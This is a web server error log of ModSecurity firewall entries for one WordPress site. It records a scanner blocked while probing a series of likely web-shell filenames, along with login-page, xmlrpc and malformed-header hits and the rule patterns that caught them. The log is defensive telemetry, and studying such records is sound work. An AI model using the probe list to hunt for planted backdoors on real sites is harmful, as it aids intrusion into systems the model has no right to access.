[Thu Mar 26 14:45:36.076731 2026] [:error] [pid 31717:tid 31736] [client 20.199.101.134:14375] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b.php"] [unique_id "acTWEL-SCF7YDISDX4-7lAAAAY4"]
[Thu Mar 26 14:45:36.988463 2026] [:error] [pid 31778:tid 31804] [client 20.199.101.134:30260] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b.php"] [unique_id "acTWEA3kybI2o-xasmC-PwAAAcs"]
[Thu Mar 26 14:45:37.888852 2026] [:error] [pid 31670:tid 31690] [client 20.199.101.134:39976] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "acTWETXVthXxCnWjOTQQ_gAAAVI"]
[Thu Mar 26 14:45:38.630856 2026] [:error] [pid 19818:tid 19837] [client 20.199.101.134:21484] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "acTWEszaSnm3d1BeM5WBnAAAANE"]
[Thu Mar 26 14:45:39.560247 2026] [:error] [pid 19710:tid 19725] [client 20.199.101.134:28301] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "acTWEwVEWP8Ar68Njk7ffgAAAAM"]
[Thu Mar 26 14:45:40.547122 2026] [:error] [pid 31780:tid 31829] [client 20.199.101.134:63568] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "acTWFJJDwZsy5O4ZXEhLpQAAAgg"]
[Thu Mar 26 14:45:41.549811 2026] [:error] [pid 31717:tid 31740] [client 20.199.101.134:13207] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aapig.php"] [unique_id "acTWFb-SCF7YDISDX4-7mAAAAZI"]
[Thu Mar 26 14:45:42.219930 2026] [:error] [pid 19818:tid 19820] [client 20.199.101.134:22995] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aapig.php"] [unique_id "acTWFszaSnm3d1BeM5WBpAAAAMA"]
[Thu Mar 26 14:45:43.052790 2026] [:error] [pid 31780:tid 31823] [client 20.199.101.134:23033] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aapig.php"] [unique_id "acTWF5JDwZsy5O4ZXEhLrwAAAgM"]
[Thu Mar 26 14:45:43.807985 2026] [:error] [pid 31778:tid 31797] [client 20.199.101.134:8614] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aapig.php"] [unique_id "acTWFw3kybI2o-xasmC-RAAAAcQ"]
[Thu Mar 26 14:45:45.475321 2026] [:error] [pid 31780:tid 31821] [client 20.199.101.134:53334] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/com.php"] [unique_id "acTWGZJDwZsy5O4ZXEhLtAAAAgE"]
[Thu Mar 26 14:45:46.417953 2026] [:error] [pid 19818:tid 19821] [client 20.199.101.134:8615] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/com.php"] [unique_id "acTWGszaSnm3d1BeM5WBsgAAAME"]
[Thu Mar 26 14:45:47.153966 2026] [:error] [pid 19818:tid 19843] [client 20.199.101.134:21457] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/com.php"] [unique_id "acTWG8zaSnm3d1BeM5WBtwAAANc"]
[Thu Mar 26 14:45:48.090706 2026] [:error] [pid 31780:tid 31825] [client 20.199.101.134:13193] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/com.php"] [unique_id "acTWHJJDwZsy5O4ZXEhLugAAAgU"]
[Thu Mar 26 14:45:48.839522 2026] [:error] [pid 31780:tid 31839] [client 20.199.101.134:30218] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ta0ol.php"] [unique_id "acTWHJJDwZsy5O4ZXEhLvQAAAhI"]
[Thu Mar 26 14:45:49.774522 2026] [:error] [pid 19818:tid 19835] [client 20.199.101.134:9805] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ta0ol.php"] [unique_id "acTWHczaSnm3d1BeM5WByAAAAM8"]
[Thu Mar 26 14:45:50.389966 2026] [:error] [pid 31778:tid 31804] [client 20.199.101.134:13191] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ta0ol.php"] [unique_id "acTWHg3kybI2o-xasmC-VwAAAcs"]
[Thu Mar 26 14:45:51.002957 2026] [:error] [pid 31780:tid 31841] [client 20.199.101.134:39326] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ta0ol.php"] [unique_id "acTWH5JDwZsy5O4ZXEhLxwAAAhQ"]
[Thu Mar 26 14:45:51.641513 2026] [:error] [pid 31717:tid 31746] [client 20.199.101.134:13227] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "acTWH7-SCF7YDISDX4-7mgAAAZg"]
[Thu Mar 26 14:45:52.694008 2026] [:error] [pid 19710:tid 19739] [client 20.199.101.134:15901] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "acTWIAVEWP8Ar68Njk7fiQAAABE"]
[Thu Mar 26 14:45:53.707086 2026] [:error] [pid 19818:tid 19825] [client 20.199.101.134:28337] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "acTWIczaSnm3d1BeM5WB0AAAAMU"]
[Thu Mar 26 14:45:54.446033 2026] [:error] [pid 19818:tid 19838] [client 20.199.101.134:14398] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "acTWIszaSnm3d1BeM5WB0gAAANI"]
[Thu Mar 26 14:45:55.552871 2026] [:error] [pid 19712:tid 19785] [client 20.199.101.134:28332] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "acTWI9WhKhRNqm23vFMFbgAAAIk"]
[Thu Mar 26 14:45:56.223524 2026] [:error] [pid 31780:tid 31824] [client 20.199.101.134:19867] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "acTWJJJDwZsy5O4ZXEhL3AAAAgQ"]
[Thu Mar 26 14:45:57.215077 2026] [:error] [pid 31778:tid 31804] [client 20.199.101.134:36187] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "acTWJQ3kybI2o-xasmC-YgAAAcs"]
[Thu Mar 26 14:45:57.920396 2026] [:error] [pid 19818:tid 19822] [client 20.199.101.134:37464] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "acTWJczaSnm3d1BeM5WB2QAAAMI"]
[Thu Mar 26 14:45:58.744065 2026] [:error] [pid 19712:tid 19776] [client 20.199.101.134:7446] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wander.php"] [unique_id "acTWJtWhKhRNqm23vFMFcAAAAIA"]
[Thu Mar 26 14:45:59.616577 2026] [:error] [pid 31670:tid 31693] [client 20.199.101.134:37495] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wander.php"] [unique_id "acTWJzXVthXxCnWjOTQREQAAAVU"]
[Thu Mar 26 14:46:00.294918 2026] [:error] [pid 19818:tid 19820] [client 20.199.101.134:29590] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wander.php"] [unique_id "acTWKMzaSnm3d1BeM5WB4QAAAMA"]
[Thu Mar 26 14:46:00.981387 2026] [:error] [pid 31780:tid 31837] [client 20.199.101.134:13304] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wander.php"] [unique_id "acTWKJJDwZsy5O4ZXEhL4QAAAhA"]
[Thu Mar 26 14:46:02.034189 2026] [:error] [pid 19818:tid 19838] [client 20.199.101.134:13251] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws88.php"] [unique_id "acTWKszaSnm3d1BeM5WB5wAAANI"]
[Thu Mar 26 14:46:02.791949 2026] [:error] [pid 60829:tid 60831] [client 20.199.101.134:15610] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws88.php"] [unique_id "acTWKvTdjHKeZokybaSMPAAAAQA"]
[Thu Mar 26 14:46:03.538588 2026] [:error] [pid 31780:tid 31822] [client 20.199.101.134:38060] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws88.php"] [unique_id "acTWK5JDwZsy5O4ZXEhL5QAAAgI"]
[Thu Mar 26 14:46:04.200988 2026] [:error] [pid 31780:tid 31835] [client 20.199.101.134:39949] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws88.php"] [unique_id "acTWLJJDwZsy5O4ZXEhL6AAAAg4"]
[Thu Mar 26 14:46:05.019133 2026] [:error] [pid 19818:tid 19823] [client 20.199.101.134:21448] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "acTWLczaSnm3d1BeM5WB6wAAAMM"]
[Thu Mar 26 14:46:06.012452 2026] [:error] [pid 19711:tid 19752] [client 20.199.101.134:21468] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "acTWLmj3l1y81GYfluR3VQAAAEM"]
[Thu Mar 26 14:46:06.692017 2026] [:error] [pid 19818:tid 19826] [client 20.199.101.134:38034] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "acTWLszaSnm3d1BeM5WB8gAAAMY"]
[Thu Mar 26 14:46:07.612627 2026] [:error] [pid 19818:tid 19831] [client 20.199.101.134:13301] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "acTWL8zaSnm3d1BeM5WB9wAAAMs"]
[Thu Mar 26 14:46:08.664376 2026] [:error] [pid 19710:tid 19744] [client 20.199.101.134:9839] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t00l.php"] [unique_id "acTWMAVEWP8Ar68Njk7fmgAAABY"]
[Thu Mar 26 14:46:09.560336 2026] [:error] [pid 31778:tid 31817] [client 20.199.101.134:37476] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t00l.php"] [unique_id "acTWMQ3kybI2o-xasmC-cgAAAdg"]
[Thu Mar 26 14:46:11.178706 2026] [:error] [pid 31670:tid 31672] [client 20.199.101.134:37476] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t00l.php"] [unique_id "acTWMzXVthXxCnWjOTQRHgAAAUA"]
[Thu Mar 26 14:46:12.029035 2026] [:error] [pid 19710:tid 19730] [client 20.199.101.134:38027] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t00l.php"] [unique_id "acTWNAVEWP8Ar68Njk7foAAAAAg"]
[Thu Mar 26 14:46:13.580572 2026] [:error] [pid 19712:tid 19779] [client 20.199.101.134:8621] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tool.php"] [unique_id "acTWNdWhKhRNqm23vFMFgwAAAIM"]
[Thu Mar 26 14:46:15.088542 2026] [:error] [pid 19712:tid 19777] [client 20.199.101.134:47590] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tool.php"] [unique_id "acTWN9WhKhRNqm23vFMFhwAAAIE"]
[Thu Mar 26 14:46:16.346582 2026] [:error] [pid 60829:tid 60837] [client 20.199.101.134:9801] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tool.php"] [unique_id "acTWOPTdjHKeZokybaSMRwAAAQY"]
[Thu Mar 26 14:46:17.738329 2026] [:error] [pid 19818:tid 19828] [client 20.199.101.134:30270] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tool.php"] [unique_id "acTWOczaSnm3d1BeM5WCCQAAAMg"]
[Thu Mar 26 14:46:18.815786 2026] [:error] [pid 19818:tid 19830] [client 20.199.101.134:22996] [client 20.199.101.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wps.php"] [unique_id "acTWOszaSnm3d1BeM5WCFQAAAMo"]
[Thu Mar 26 14:47:17.541287 2026] [:error] [pid 31717:tid 31736] [client 20.199.101.134:10990] [client 20.199.101.134] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.199.101.134, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "acTWdb-SCF7YDISDX4-7-gAAAY4"]
[Thu Mar 26 16:51:00.396758 2026] [:error] [pid 19818:tid 19837] [client 208.115.193.135:65356] [client 208.115.193.135] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.115.193.135, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "acTzdMzaSnm3d1BeM5XLKQAAANE"]
[Thu Mar 26 17:15:12.574329 2026] [:error] [pid 60829:tid 60840] [client 43.153.71.12:47176] [client 43.153.71.12] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "acT5IPTdjHKeZokybaSooAAAAQk"]
[Thu Mar 26 17:18:52.113701 2026] [:error] [pid 31670:tid 31687] [client 208.115.193.135:63692] [client 208.115.193.135] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.115.193.135, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "acT5_DXVthXxCnWjOTRWpAAAAU8"]
[Thu Mar 26 17:49:50.177525 2026] [:error] [pid 31780:tid 31842] [client 182.42.111.213:47623] [client 182.42.111.213] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "acUBPpJDwZsy5O4ZXEiHowAAAhU"]
[Thu Mar 26 18:26:27.250203 2026] [:error] [pid 19818:tid 19833] [client 185.189.88.22:59182] [client 185.189.88.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.189.88.22, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "acUJ08zaSnm3d1BeM5XxFQAAAM0"]
[Thu Mar 26 21:30:12.030832 2026] [:error] [pid 19711:tid 19756] [client 185.117.225.67:58800] [client 185.117.225.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.117.225.67, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "acU05Gj3l1y81GYfluSqhgAAAEc"]
[Thu Mar 26 23:00:35.862252 2026] [:error] [pid 19711:tid 19759] [client 162.62.213.187:37634] [client 162.62.213.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "acVKE2j3l1y81GYfluTSzgAAAEo"]
